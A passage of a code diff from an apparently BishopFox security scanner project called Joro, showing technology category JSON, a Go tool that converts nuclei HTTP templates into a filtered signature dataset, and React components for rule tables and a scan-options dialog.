},
"4": {
"groups": [
3
],
"name": "Documentation",
"priority": 2
},
"5": {
"groups": [
6
],
"name": "Widgets",
"priority": 9
},
"6": {
"groups": [
1
],
"name": "Ecommerce",
"priority": 1
},
"7": {
"groups": [
3,
10
],
"name": "Photo galleries",
"priority": 1
},
"8": {
"groups": [
3
],
"name": "Wikis",
"priority": 1
},
"9": {
"groups": [
5,
7
],
"name": "Hosting panels",
"priority": 2
},
"10": {
"groups": [
8
],
"name": "Analytics",
"priority": 9
},
"11": {
"groups": [
3
],
"name": "Blogs",
"priority": 1
},
"12": {
"groups": [
9
],
"name": "JavaScript frameworks",
"priority": 8
},
"13": {
"groups": [
3,
18
],
"name": "Issue trackers",
"priority": 2
},
"14": {
"groups": [
10
],
"name": "Video players",
"priority": 7
},
"15": {
"groups": [
3,
18
],
"name": "Comment systems",
"priority": 9
},
"16": {
"groups": [
11
],
"name": "Security",
"priority": 9
},
"17": {
"groups": [
9
],
"name": "Font scripts",
"priority": 9
},
"18": {
"groups": [
9
],
"name": "Web frameworks",
"priority": 7
},
"19": {
"groups": [
6
],
"name": "Miscellaneous",
"priority": 10
},
"20": {
"groups": [
9
],
"name": "Editors",
"priority": 4
},
"21": {
"groups": [
3
],
"name": "LMS",
"priority": 1
},
"22": {
"groups": [
7
],
"name": "Web servers",
"priority": 8
},
"23": {
"groups": [
7
],
"name": "Caching",
"priority": 7
},
"24": {
"groups": [
3
],
"name": "Rich text editors",
"priority": 5
},
"25": {
"groups": [
9
],
"name": "JavaScript graphics",
"priority": 6
},
"26": {
"groups": [
9
],
"name": "Mobile frameworks",
"priority": 8
},
"27": {
"groups": [
9
],
"name": "Programming languages",
"priority": 5
},
"28": {
"groups": [
7
],
"name": "Operating systems",
"priority": 6
},
"29": {
"groups": [
3
],
"name": "Search engines",
"priority": 4
},
"30": {
"groups": [
4
],
"name": "Webmail",
"priority": 2
},
"31": {
"groups": [
7
],
"name": "CDN",
"priority": 9
},
"32": {
"groups": [
2
],
"name": "Marketing automation",
"priority": 9
},
"33": {
"groups": [
7
],
"name": "Web server extensions",
"priority": 7
},
"34": {
"groups": [
7
],
"name": "Databases",
"priority": 5
},
"35": {
"groups": [
17
],
"name": "Maps",
"priority": 6
},
"36": {
"groups": [
2
],
"name": "Advertising",
"priority": 9
},
"37": {
"groups": [
7
],
"name": "Network devices",
"priority": 2
},
"38": {
"groups": [
10,
7
],
"name": "Media servers",
"priority": 1
},
"39": {
"groups": [
4
],
"name": "Webcams",
"priority": 9
},
"41": {
"groups": [
1
],
"name": "Payment processors",
"priority": 8
},
"42": {
"groups": [
8
],
"name": "Tag managers",
"priority": 9
},
"44": {
"groups": [
9
],
"name": "CI",
"priority": 3
},
"45": {
"groups": [
7
],
"name": "Control systems",
"priority": 2
},
"46": {
"groups": [
4
],
"name": "Remote access",
"priority": 1
},
"47": {
"groups": [
9
],
"name": "Development",
"priority": 2
},
"48": {
"groups": [
10
],
"name": "Network storage",
"priority": 2
},
"49": {
"groups": [
3
],
"name": "Feed readers",
"priority": 1
},
"50": {
"groups": [
3
],
"name": "DMS",
"priority": 1
},
"51": {
"groups": [
9
],
"name": "Page builders",
"priority": 1
},
"52": {
"groups": [
4,
16
],
"name": "Live chat",
"priority": 9
},
"53": {
"groups": [
2,
16
],
"name": "CRM",
"priority": 5
},
"54": {
"groups": [
2
],
"name": "SEO",
"priority": 8
},
"55": {
"groups": [
16
],
"name": "Accounting",
"priority": 1
},
"56": {
"groups": [
5
],
"name": "Cryptominers",
"priority": 5
},
"57": {
"groups": [
9
],
"name": "Static site generator",
"priority": 1
},
"58": {
"groups": [
6
],
"name": "User onboarding",
"priority": 8
},
"59": {
"groups": [
9
],
"name": "JavaScript libraries",
"priority": 9
},
"60": {
"groups": [
7
],
"name": "Containers",
"priority": 8
},
"62": {
"groups": [
7
],
"name": "PaaS",
"priority": 8
},
"63": {
"groups": [
7
],
"name": "IaaS",
"priority": 8
},
"64": {
"groups": [
7
],
"name": "Reverse proxies",
"priority": 7
},
"65": {
"groups": [
7
],
"name": "Load balancers",
"priority": 7
},
"66": {
"groups": [
9
],
"name": "UI frameworks",
"priority": 7
},
"67": {
"groups": [
13
],
"name": "Cookie compliance",
"priority": 9
},
"68": {
"groups": [
9
],
"name": "Accessibility",
"priority": 9
},
"69": {
"groups": [
11
],
"name": "Authentication",
"priority": 6
},
"70": {
"groups": [
11
],
"name": "SSL/TLS certificate authorities",
"priority": 9
},
"71": {
"groups": [
2
],
"name": "Affiliate programs",
"priority": 9
},
"72": {
"groups": [
14
],
"name": "Appointment scheduling",
"priority": 9
},
"73": {
"groups": [
8
],
"name": "Surveys",
"priority": 9
},
"74": {
"groups": [
8
],
"name": "A/B Testing",
"priority": 9
},
"75": {
"groups": [
4,
2
],
"name": "Email",
"priority": 9
},
"76": {
"groups": [
2
],
"name": "Personalisation",
"priority": 9
},
"77": {
"groups": [
2
],
"name": "Retargeting",
"priority": 9
},
"78": {
"groups": [
2
],
"name": "RUM",
"priority": 9
},
"79": {
"groups": [
17
],
"name": "Geolocation",
"priority": 9
},
"80": {
"groups": [
15
],
"name": "WordPress themes",
"priority": 7
},
"81": {
"groups": [
15
],
"name": "Shopify themes",
"priority": 7
},
"82": {
"groups": [
15
],
"name": "Drupal themes",
"priority": 7
},
"83": {
"groups": [
8
],
"name": "Browser fingerprinting",
"priority": 9
},
"84": {
"groups": [
1
],
"name": "Loyalty & rewards",
"priority": 9
},
"85": {
"groups": [
9
],
"name": "Feature management",
"priority": 9
},
"86": {
"groups": [
2
],
"name": "Segmentation",
"priority": 9
},
"87": {
"groups": [
15
],
"name": "WordPress plugins",
"priority": 8
},
"88": {
"groups": [
7
],
"name": "Hosting",
"priority": 9
},
"89": {
"groups": [
3
],
"name": "Translation",
"priority": 9
},
"90": {
"groups": [
2,
18
],
"name": "Reviews",
"priority": 9
},
"91": {
"groups": [
1
],
"name": "Buy now pay later",
"priority": 9
},
"92": {
"groups": [
7
],
"name": "Performance",
"priority": 9
},
"93": {
"groups": [
14
],
"name": "Reservations & delivery",
"priority": 9
},
"94": {
"groups": [
2,
1
],
"name": "Referral marketing",
"priority": 9
},
"95": {
"groups": [
10
],
"name": "Digital asset management",
"priority": 9
},
"96": {
"groups": [
2,
18
],
"name": "Content curation",
"priority": 9
},
"97": {
"groups": [
2,
8
],
"name": "Customer data platform",
"priority": 9
},
"98": {
"groups": [
1
],
"name": "Cart abandonment",
"priority": 9
},
"99": {
"groups": [
1
],
"name": "Shipping carriers",
"priority": 9
},
"100": {
"groups": [
15
],
"name": "Shopify apps",
"priority": 8
},
"101": {
"groups": [
6,
16
],
"name": "Recruitment & staffing",
"priority": 9
},
"102": {
"groups": [
1
],
"name": "Returns",
"priority": 9
},
"103": {
"groups": [
1,
10
],
"name": "Livestreaming",
"priority": 9
},
"104": {
"groups": [
14
],
"name": "Ticket booking",
"priority": 9
},
"105": {
"groups": [
10
],
"name": "Augmented reality",
"priority": 9
},
"106": {
"groups": [
1
],
"name": "Cross border ecommerce",
"priority": 6
},
"107": {
"groups": [
1
],
"name": "Fulfilment",
"priority": 6
},
"108": {
"groups": [
1
],
"name": "Ecommerce frontends",
"priority": 6
},
"109": {
"groups": [
6
],
"name": "Domain parking",
"priority": 9
},
"110": {
"groups": [
8
],
"name": "Form builders",
"priority": 8
},
"111": {
"groups": [
6
],
"name": "Fundraising & donations",
"priority": 9
}
}
File diff suppressed because it is too large. Load diff
+1
View File
@@ -455,6 +455,7 @@ func runProxyMode(ctx context.Context, cfg config.Config) {
apiSrv.StartDetectLoop(ctx)
apiSrv.StartAnomalyLoop(ctx)
apiSrv.StartEchoLoop(ctx)
apiSrv.StartTechLoop(ctx)
// Start proxy server.
proxyDone := make(chan struct{})
+383
View File
@@ -0,0 +1,383 @@
// Command nucleigen is Joro's design-time converter: it reads a reviewed
// nuclei-templates checkout and emits the normalized signature dataset that
// internal/activescan/templatesig embeds. It is a developer tool and is never
// imported by the server — the server ships the generated JSON, not a YAML parser.
//
// It is fail-closed: a template is converted only when its whole logic fits the
// supported HTTP matcher subset (a single http request block; method+path probes;
// status/word/regex/size matchers with and/or and negation; RE2-compatible
// regexes). Everything else is dropped and tallied in a skip census — the census
// being the roadmap for what to support next.
//
// Usage:
//
// go run ./tools/nucleigen -templates /path/to/nuclei-templates -out internal/activescan/templatesig/signatures.json
//
// By default it reads only the http/ tree and excludes http/technologies/, whose
// detection job belongs to the passive fingerprinter.
package main
import (
"encoding/json"
"flag"
"fmt"
"os"
"path/filepath"
"regexp"
"sort"
"strings"
"github.com/BishopFox/joro/internal/activescan/templatesig"
"github.com/BishopFox/joro/internal/techfp"
"gopkg.in/yaml.v3"
)
func main() {
var (
templatesDir = flag.String("templates", "", "path to a nuclei-templates checkout")
outPath = flag.String("out", "internal/activescan/templatesig/signatures.json", "output dataset path")
subdir = flag.String("subdir", "http", "subtree under the checkout to walk")
)
flag.Parse()
if *templatesDir == "" {
fmt.Fprintln(os.Stderr, "nucleigen: -templates is required")
os.Exit(2)
}
techNames, err := loadTechNames()
if err != nil {
fmt.Fprintf(os.Stderr, "nucleigen: load tech names: %v\n", err)
os.Exit(1)
}
root := filepath.Join(*templatesDir, *subdir)
census := map[string]int{}
var sigs []templatesig.Signature
seen := map[string]bool{}
walkErr := filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
if !strings.HasSuffix(path, ".yaml") && !strings.HasSuffix(path, ".yml") {
return nil
}
// Detection-only templates are the fingerprinter's job, not a vuln signature.
if strings.Contains(filepath.ToSlash(path), "/technologies/") {
census["excluded:technologies"]++
return nil
}
data, rerr := os.ReadFile(path)
if rerr != nil {
census["read-error"]++
return nil
}
rel, _ := filepath.Rel(*templatesDir, path)
sig, reason := convert(data, rel, techNames)
if reason != "" {
census["skip:"+reason]++
return nil
}
if seen[sig.ID] {
census["skip:duplicate-id"]++
return nil
}
seen[sig.ID] = true
sigs = append(sigs, *sig)
census["converted"]++
return nil
})
if walkErr != nil {
fmt.Fprintf(os.Stderr, "nucleigen: walk: %v\n", walkErr)
os.Exit(1)
}
sort.Slice(sigs, func(i, j int) bool { return sigs[i].ID < sigs[j].ID })
out, _ := json.MarshalIndent(sigs, "", " ")
if err := os.WriteFile(*outPath, append(out, '\n'), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "nucleigen: write: %v\n", err)
os.Exit(1)
}
printCensus(census, *outPath)
}
// loadTechNames returns a lower-cased set of canonical Wappalyzer technology names.
func loadTechNames() (map[string]string, error) {
w, _, err := techfp.LoadWappalyzer()
if err != nil {
return nil, err
}
out := map[string]string{}
for _, n := range w.Names() {
out[strings.ToLower(n)] = n
}
return out, nil
}
// --- nuclei template shapes (only the fields the subset reads) ---
type nTemplate struct {
ID string `yaml:"id"`
Info struct {
Name string `yaml:"name"`
Severity string `yaml:"severity"`
Description string `yaml:"description"`
Reference stringList `yaml:"reference"`
Tags stringList `yaml:"tags"`
Metadata yaml.Node `yaml:"metadata"`
Remediation string `yaml:"remediation"`
} `yaml:"info"`
HTTP []nRequest `yaml:"http"`
Requests []nRequest `yaml:"requests"` // legacy key for http
// Presence of any of these marks an unsupported protocol/feature.
Headless yaml.Node `yaml:"headless"`
Network yaml.Node `yaml:"network"`
DNS yaml.Node `yaml:"dns"`
SSL yaml.Node `yaml:"ssl"`
Code yaml.Node `yaml:"code"`
JavaScript yaml.Node `yaml:"javascript"`
Flow string `yaml:"flow"`
Variables yaml.Node `yaml:"variables"`
Workflows yaml.Node `yaml:"workflows"`
}
type nRequest struct {
Method string `yaml:"method"`
Path stringList `yaml:"path"`
Raw stringList `yaml:"raw"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
MatchersCondition string `yaml:"matchers-condition"`
Matchers []nMatcher `yaml:"matchers"`
StopAtFirstMatch bool `yaml:"stop-at-first-match"`
Payloads yaml.Node `yaml:"payloads"`
Attack string `yaml:"attack"`
Fuzzing yaml.Node `yaml:"fuzzing"`
}
type nMatcher struct {
Type string `yaml:"type"`
Part string `yaml:"part"`
Status []int `yaml:"status"`
Words stringList `yaml:"words"`
Regex stringList `yaml:"regex"`
Size []int `yaml:"size"`
Condition string `yaml:"condition"`
Negative bool `yaml:"negative"`
DSL stringList `yaml:"dsl"`
}
// stringList accepts a YAML scalar, a comma-separated scalar (for tags), or a list.
type stringList []string
func (s *stringList) UnmarshalYAML(n *yaml.Node) error {
switch n.Kind {
case yaml.ScalarNode:
if strings.Contains(n.Value, ",") {
for _, p := range strings.Split(n.Value, ",") {
if p = strings.TrimSpace(p); p != "" {
*s = append(*s, p)
}
}
return nil
}
if n.Value != "" {
*s = []string{n.Value}
}
return nil
case yaml.SequenceNode:
var a []string
if err := n.Decode(&a); err != nil {
return err
}
*s = a
return nil
}
return nil
}
var reBaseTokens = regexp.MustCompile(`\{\{\s*(?:BaseURL|RootURL|Hostname|Host)\s*\}\}`)
// convert maps one template to a Signature, or returns a non-empty skip reason.
func convert(data []byte, source string, techNames map[string]string) (*templatesig.Signature, string) {
var t nTemplate
if err := yaml.Unmarshal(data, &t); err != nil {
return nil, "parse-error"
}
if t.ID == "" {
return nil, "no-id"
}
if present(t.Headless) || present(t.Network) || present(t.DNS) || present(t.SSL) ||
present(t.Code) || present(t.JavaScript) || present(t.Workflows) {
return nil, "unsupported-protocol"
}
if t.Flow != "" || present(t.Variables) {
return nil, "flow-or-variables"
}
reqs := t.HTTP
if len(reqs) == 0 {
reqs = t.Requests
}
if len(reqs) == 0 {
return nil, "no-http"
}
if len(reqs) > 1 {
return nil, "multi-request"
}
nr := reqs[0]
if present(nr.Payloads) || nr.Attack != "" || present(nr.Fuzzing) {
return nil, "payloads"
}
if len(nr.Raw) > 0 {
return nil, "raw-request"
}
if len(nr.Path) == 0 {
return nil, "no-path"
}
var paths []string
for _, p := range nr.Path {
if strings.Contains(p, "{{interactsh") {
return nil, "interactsh"
}
stripped := reBaseTokens.ReplaceAllString(p, "")
if strings.Contains(stripped, "{{") {
return nil, "dynamic-path"
}
paths = append(paths, stripped)
}
matchers, reason := convertMatchers(nr.Matchers)
if reason != "" {
return nil, reason
}
if len(matchers) == 0 {
return nil, "no-matchers"
}
sig := &templatesig.Signature{
ID: t.ID,
NucleiID: t.ID,
Name: orDefault(t.Info.Name, t.ID),
Severity: strings.ToLower(t.Info.Severity),
Description: t.Info.Description,
Remediation: t.Info.Remediation,
Reference: t.Info.Reference,
Tags: t.Info.Tags,
Source: source,
RequiresTech: techFromTags(t.Info.Tags, techNames),
Requests: []templatesig.Request{{
Method: orDefault(strings.ToUpper(nr.Method), "GET"),
Paths: paths,
Headers: nr.Headers,
Body: nr.Body,
Matchers: matchers,
MatchersCondition: nr.MatchersCondition,
StopAtFirstMatch: nr.StopAtFirstMatch,
}},
}
return sig, ""
}
// convertMatchers maps nuclei matchers to the supported subset, rejecting the
// whole template on any unsupported matcher type.
func convertMatchers(in []nMatcher) ([]templatesig.Matcher, string) {
out := make([]templatesig.Matcher, 0, len(in))
for _, m := range in {
switch m.Type {
case "status":
out = append(out, templatesig.Matcher{Type: "status", Status: m.Status, Negative: m.Negative})
case "size":
out = append(out, templatesig.Matcher{Type: "size", Sizes: m.Size, Negative: m.Negative})
case "word":
// The runtime substitutes the URL tokens nuclei expands in words; any
// other {{...}} expression (payload refs, dsl helpers) it cannot, so a
// word carrying one is not faithfully evaluable — drop the template.
for _, w := range m.Words {
if hasUnknownTemplateToken(w) {
return nil, "matcher-template-var"
}
}
out = append(out, templatesig.Matcher{
Type: "word", Part: m.Part, Words: m.Words,
Condition: m.Condition, Negative: m.Negative,
})
case "regex":
// Regexes are precompiled before a target (and thus BaseURL) is known,
// so a regex carrying any template token cannot be substituted; drop it.
for _, expr := range m.Regex {
if strings.Contains(expr, "{{") {
return nil, "regex-template-var"
}
if _, err := regexp.Compile(expr); err != nil {
return nil, "regex-re2"
}
}
out = append(out, templatesig.Matcher{
Type: "regex", Part: m.Part, Regexes: m.Regex,
Condition: m.Condition, Negative: m.Negative,
})
case "dsl":
return nil, "dsl"
default:
return nil, "matcher:" + m.Type
}
}
return out, ""
}
// techFromTags maps a template's tags to canonical technology names present in the
// Wappalyzer database. A tag with no match contributes nothing, so a template that
// names no known technology stays tech-agnostic (runs everywhere).
func techFromTags(tags []string, techNames map[string]string) []templatesig.TechReq {
var out []templatesig.TechReq
seen := map[string]bool{}
for _, tag := range tags {
if canon, ok := techNames[strings.ToLower(strings.TrimSpace(tag))]; ok && !seen[canon] {
seen[canon] = true
out = append(out, templatesig.TechReq{Name: canon})
}
}
return out
}
var templateTokenRe = regexp.MustCompile(`\{\{([^}]*)\}\}`)
// knownMatcherTokens are the URL tokens the runtime substitutes in word matchers.
var knownMatcherTokens = map[string]bool{
"BaseURL": true, "RootURL": true, "Hostname": true, "Host": true,
}
// hasUnknownTemplateToken reports whether s carries a {{...}} the runtime cannot
// substitute in a matcher word.
func hasUnknownTemplateToken(s string) bool {
for _, m := range templateTokenRe.FindAllStringSubmatch(s, -1) {
if !knownMatcherTokens[strings.TrimSpace(m[1])] {
return true
}
}
return false
}
func present(n yaml.Node) bool { return !n.IsZero() }
func orDefault(s, d string) string {
if strings.TrimSpace(s) == "" {
return d
}
return s
}
func printCensus(census map[string]int, outPath string) {
keys := make([]string, 0, len(census))
for k := range census {
keys = append(keys, k)
}
sort.Slice(keys, func(i, j int) bool { return census[keys[i]] > census[keys[j]] })
fmt.Printf("nucleigen: wrote %s\n", outPath)
for _, k := range keys {
fmt.Printf(" %-26s %d\n", k, census[k])
}
}
+2
View File
@@ -2,6 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
import { useLocation, useNavigate } from 'react-router'
import Toasts from './components/Toasts'
import ActiveScanIndicator from './components/ActiveScanIndicator'
import ScanOptionsModal from './components/ScanOptionsModal'
import UpdateBanner from './components/UpdateBanner'
import PluginBanner from './components/PluginBanner'
import ErrorBoundary from './components/ErrorBoundary'
@@ -218,6 +219,7 @@ export default function App() {
<div className="flex flex-col h-screen">
<Toasts />
<ActiveScanIndicator />
<ScanOptionsModal />
<UpdateBanner />
<PluginBanner failed={failedPlugins} />
{/* Top nav */}
+222
View File
@@ -0,0 +1,222 @@
import { Fragment, useState } from 'react'
import { ChevronDown, ChevronRight } from 'lucide-react'
import { severityBadge } from '../lib/severity'
// One rule row — passive detect rules and active-scan checks both map onto this,
// so the two sections render identically.
export interface RuleRowVM {
id: string
name: string
description?: string
severity: string
confidence?: string
target?: string
originLabel: string
originBuiltin: boolean
enabled: boolean
hits?: number
onToggle: (enabled: boolean) => void
onClick?: () => void
onHits?: () => void
}
// One collapsible group.
export interface RuleGroupVM {
key: string
label: string
description?: string
rows: RuleRowVM[]
onEnableAll: () => void
onDisableAll: () => void
}
interface Props {
title?: string
subtitle?: string
groups: RuleGroupVM[]
expanded: Set<string>
onToggleExpand: (key: string) => void
// When any filter is active, groups render expanded so matches aren't hidden.
filtering: boolean
emptyText: string
}
// Rows per page within a group; groups larger than this paginate rather than
// rendering thousands of rows at once.
const PAGE_SIZE = 100
function originPill(builtin: boolean, label: string) {
return (
<span
className={`inline-block px-1 py-px rounded-sm bg-surface-input text-[10px] font-semibold uppercase tracking-wide align-middle ${
builtin ? 'text-accent-secondary' : 'text-accent-tertiary'
}`}
>
{label}
</span>
)
}
// RuleTableSection renders a labelled section (e.g. "Active Rules") as a grouped,
// collapsible table identical in shape to the detect rules table, so active and
// passive rules are indistinguishable but for the header. Groups start collapsed
// (an absent key in `expanded`).
export default function RuleTableSection({
title,
subtitle,
groups,
expanded,
onToggleExpand,
filtering,
emptyText,
}: Props) {
const [pages, setPages] = useState<Record<string, number>>({})
const setPage = (key: string, n: number) => setPages((prev) => ({ ...prev, [key]: n }))
return (
<div className="border-b border-border">
{(title || subtitle) && (
<div className="flex items-center gap-1.5 px-2 py-1.5 bg-surface-card">
{title && (
<span className="text-[10px] font-semibold uppercase tracking-wide text-content-secondary">
{title}
</span>
)}
{subtitle && <span className="text-[10px] text-content-muted">· {subtitle}</span>}
</div>
)}
<table className="w-full text-xs">
<thead className="bg-surface-card text-content-muted uppercase">
<tr>
<th className="px-2 py-1 w-8" />
<th className="px-2 py-1 text-left">Rule</th>
<th className="px-2 py-1 text-left w-20">Severity</th>
<th className="px-2 py-1 text-left w-14">Conf</th>
<th className="px-2 py-1 text-left w-32">Target</th>
<th className="px-2 py-1 text-left w-20">Origin</th>
<th className="px-2 py-1 text-right w-12">Hits</th>
</tr>
</thead>
<tbody>
{groups.length === 0 && (
<tr>
<td colSpan={7} className="px-2 py-6 text-center text-content-muted text-xs">
{emptyText}
</td>
</tr>
)}
{groups.map((g) => {
const isCollapsed = !filtering && !expanded.has(g.key)
const onCount = g.rows.filter((r) => r.enabled).length
const pageCount = Math.ceil(g.rows.length / PAGE_SIZE)
const page = Math.min(pages[g.key] ?? 0, Math.max(0, pageCount - 1))
const shown = pageCount > 1 ? g.rows.slice(page * PAGE_SIZE, (page + 1) * PAGE_SIZE) : g.rows
return (
<Fragment key={g.key}>
<tr className="cursor-pointer hover:bg-surface-hover" onClick={() => !filtering && onToggleExpand(g.key)}>
<td colSpan={7} className="px-2 py-1 bg-surface-input text-[10px] text-content-muted uppercase tracking-wide">
<span className="flex items-center gap-2">
{filtering ? <span className="w-3" /> : isCollapsed ? <ChevronRight size={12} /> : <ChevronDown size={12} />}
<span className="normal-case font-semibold text-content-secondary">{g.label}</span>
<span>({g.rows.length})</span>
<span className={onCount === g.rows.length ? '' : 'text-semantic-warning'}>{onCount} on</span>
<button
onClick={(e) => {
e.stopPropagation()
g.onEnableAll()
}}
className="text-accent-secondary hover:underline normal-case"
>
Enable all
</button>
<button
onClick={(e) => {
e.stopPropagation()
g.onDisableAll()
}}
className="text-accent-secondary hover:underline normal-case"
>
Disable all
</button>
{g.description && <span className="normal-case text-content-muted font-normal">— {g.description}</span>}
</span>
</td>
</tr>
{!isCollapsed &&
shown.map((r) => (
<tr
key={r.id}
className={`border-b border-border-subtle hover:bg-surface-hover ${r.onClick ? 'cursor-pointer' : ''} ${
r.enabled ? '' : 'opacity-60'
}`}
onClick={r.onClick}
>
<td className="px-2 py-1">
<input
type="checkbox"
className="accent-accent"
checked={r.enabled}
onClick={(e) => e.stopPropagation()}
onChange={(e) => r.onToggle(e.target.checked)}
/>
</td>
<td className="px-2 py-1">
<div className="text-content-secondary truncate max-w-md">{r.name}</div>
{r.description && (
<div className="text-[10px] text-content-muted truncate max-w-md">{r.description}</div>
)}
</td>
<td className="px-2 py-1">{severityBadge(r.severity)}</td>
<td className="px-2 py-1 text-content-muted">{r.confidence ?? '—'}</td>
<td className="px-2 py-1 text-content-muted truncate">{r.target ?? '—'}</td>
<td className="px-2 py-1">{originPill(r.originBuiltin, r.originLabel)}</td>
<td className="px-2 py-1 text-right">
{r.hits ? (
<button
onClick={(e) => {
e.stopPropagation()
r.onHits?.()
}}
className="text-accent-secondary hover:underline"
>
{r.hits}
</button>
) : (
<span className="text-content-muted">0</span>
)}
</td>
</tr>
))}
{!isCollapsed && pageCount > 1 && (
<tr className="bg-surface-card">
<td colSpan={7} className="px-2 py-1.5">
<span className="flex items-center gap-3 text-[10px] text-content-muted">
<button
disabled={page === 0}
onClick={() => setPage(g.key, page - 1)}
className="px-1.5 py-0.5 rounded-sm bg-surface-input hover:bg-surface-hover disabled:opacity-40"
>
Prev
</button>
<span>
{page * PAGE_SIZE + 1}–{Math.min((page + 1) * PAGE_SIZE, g.rows.length)} of {g.rows.length}
</span>
<button
disabled={page >= pageCount - 1}
onClick={() => setPage(g.key, page + 1)}
className="px-1.5 py-0.5 rounded-sm bg-surface-input hover:bg-surface-hover disabled:opacity-40"
>
Next
</button>
</span>
</td>
</tr>
)}
</Fragment>
)
})}
</tbody>
</table>
</div>
)
}
+186
View File
@@ -0,0 +1,186 @@
import { useEffect, useState } from 'react'
import { api } from '../lib/api'
import { initiateScan } from '../lib/scanMenu'
import { SEVERITY_OPTIONS } from '../lib/severity'
import { useScanOptionsStore } from '../stores/scanOptionsStore'
import MultiSelectDropdown from './MultiSelectDropdown'
interface RuleOpt {
id: string
name: string
enabled: boolean
}
// ScanOptionsModal is the opt-in counterpart to the one-click "Initiate scan"
// context-menu action: it lets the operator pick rules and, for the template
// rule, narrow by severity/tag or bypass fingerprint gating before starting.
export default function ScanOptionsModal() {
const open = useScanOptionsStore((s) => s.open)
const target = useScanOptionsStore((s) => s.target)
const close = useScanOptionsStore((s) => s.close)
const [rules, setRules] = useState<RuleOpt[]>([])
const [selectedRules, setSelectedRules] = useState<string[]>([])
const [severities, setSeverities] = useState<string[]>([])
const [tags, setTags] = useState('')
const [ignoreFingerprint, setIgnoreFingerprint] = useState(false)
const [oast, setOast] = useState(true)
const [oastAvailable, setOastAvailable] = useState(false)
const [starting, setStarting] = useState(false)
useEffect(() => {
if (!open) return
// Reset per-open and load the current rule set, defaulting the selection to
// the enabled rules (what a plain scan would run).
setSeverities([])
setTags('')
setIgnoreFingerprint(false)
setOast(true)
api
.activeScanRules()
.then((res) => {
setRules(res.rules)
setSelectedRules(res.rules.filter((r) => r.enabled).map((r) => r.id))
})
.catch(() => {
setRules([])
setSelectedRules([])
})
// OAST is available only when a callback listener domain is configured.
api
.getCallbackConfig()
.then((c) => setOastAvailable(!!c.domain))
.catch(() => setOastAvailable(false))
}, [open])
if (!open || !target) return null
const toggleRule = (id: string, on: boolean) =>
setSelectedRules((prev) => (on ? [...prev, id] : prev.filter((r) => r !== id)))
const start = async () => {
setStarting(true)
const tagList = tags
.split(',')
.map((t) => t.trim())
.filter(Boolean)
await initiateScan({
scope: target.scope,
origin: target.origin,
url: target.url,
requestId: target.requestId,
rules: selectedRules,
severity: severities,
tags: tagList,
ignoreFingerprint,
// Only meaningful when OAST is available; the server gates it regardless.
oast: oastAvailable ? oast : undefined,
})
setStarting(false)
close()
}
const templateSelected = selectedRules.includes('templatesig')
return (
<div className="fixed inset-0 z-[60] flex items-center justify-center bg-black/50" onClick={close}>
<div
className="bg-surface-card border border-border rounded p-4 w-[32rem] space-y-3"
onClick={(e) => e.stopPropagation()}
>
<div>
<h3 className="text-sm font-semibold text-content-primary">Scan with options</h3>
<p className="text-[11px] text-content-muted mt-0.5 truncate">{target.label}</p>
</div>
{/* Rules */}
<div className="space-y-1.5">
<span className="text-xs text-content-muted">Rules</span>
<div className="flex flex-wrap items-center gap-3">
{rules.map((r) => (
<label key={r.id} className="flex items-center gap-1 cursor-pointer">
<input
type="checkbox"
className="accent-accent"
checked={selectedRules.includes(r.id)}
onChange={(e) => toggleRule(r.id, e.target.checked)}
/>
<span className="text-xs text-content-secondary">{r.name}</span>
</label>
))}
{rules.length === 0 && <span className="text-xs text-content-muted">No rules available</span>}
</div>
</div>
{/* Template-signature options */}
<div className="border-t border-border-subtle pt-3 space-y-2">
<span className="text-xs text-content-muted">
Template signatures{!templateSelected && ' (rule not selected)'}
</span>
<div className={`flex flex-wrap items-center gap-3 ${templateSelected ? '' : 'opacity-50 pointer-events-none'}`}>
<MultiSelectDropdown
label="Severity"
options={SEVERITY_OPTIONS}
selected={severities}
onChange={setSeverities}
tooltip="Run only signatures of these severities; empty runs all"
/>
<label className="flex items-center gap-1.5">
<span className="text-xs text-content-muted">Tags</span>
<input
className="bg-surface-input text-xs px-2 py-1.5 rounded-sm border border-border w-40"
placeholder="e.g. wordpress, exposure"
value={tags}
onChange={(e) => setTags(e.target.value)}
/>
</label>
</div>
<label className={`flex items-center gap-1.5 cursor-pointer ${templateSelected ? '' : 'opacity-50 pointer-events-none'}`}>
<input
type="checkbox"
className="accent-accent"
checked={ignoreFingerprint}
onChange={(e) => setIgnoreFingerprint(e.target.checked)}
/>
<span className="text-xs text-content-secondary">Ignore fingerprint (run every signature, not just those matching the host's stack)</span>
</label>
</div>
{/* Out-of-band (OAST) testing — only when a callback listener is configured. */}
<div className="border-t border-border-subtle pt-3">
<label className={`flex items-center gap-1.5 ${oastAvailable ? 'cursor-pointer' : 'opacity-50'}`}>
<input
type="checkbox"
className="accent-accent"
checked={oastAvailable && oast}
disabled={!oastAvailable}
onChange={(e) => setOast(e.target.checked)}
/>
<span className="text-xs text-content-secondary">
Out-of-band (OAST) testing — blind SQLi/RCE via callback
{!oastAvailable && (
<span className="text-content-muted"> · requires a configured callback listener</span>
)}
</span>
</label>
</div>
<div className="flex justify-end gap-2 pt-1">
<button
onClick={close}
className="px-3 py-1.5 rounded-sm text-xs text-content-secondary hover:text-content-primary hover:bg-surface-input"
>
Cancel
</button>
<button
onClick={start}
disabled={starting || selectedRules.length === 0}
className="px-3 py-1.5 rounded-sm text-xs bg-accent-secondary hover:bg-accent-secondary-hover text-black font-semibold disabled:opacity-50 disabled:cursor-not-allowed"
>
{starting ? 'Starting…' : 'Start scan'}
</button>
</div>
</div>
</div>
)
}
+43
View File
@@ -0,0 +1,43 @@
import type { SignatureCatalogItem } from '../lib/api'
import { severityBadge } from '../lib/severity'
// field renders a labelled read-only row, skipping empty values. Shared shape with
// DetectRuleModal's RuleReference so active detail reads like passive detail.
export function field(label: string, value?: string | string[], mono = false) {
if (!value || (Array.isArray(value) && value.length === 0)) return null
const text = Array.isArray(value) ? value.join('\n') : value
return (
<div>
<div className="text-[10px] uppercase tracking-wide text-content-muted">{label}</div>
<div className={`text-xs text-content-secondary whitespace-pre-wrap break-words ${mono ? 'font-mono' : ''}`}>
{text}
</div>
</div>
)
}
// monoLabels are the detail fields rendered monospaced — raw bytes, ids, payloads.
const monoLabels = new Set(['Request', 'Nuclei ID', 'Source', 'Payloads'])
// SignatureDetail is the read-only detail for one catalog item — a template signature
// or an injection check — shown when a row is clicked. It renders the common fields
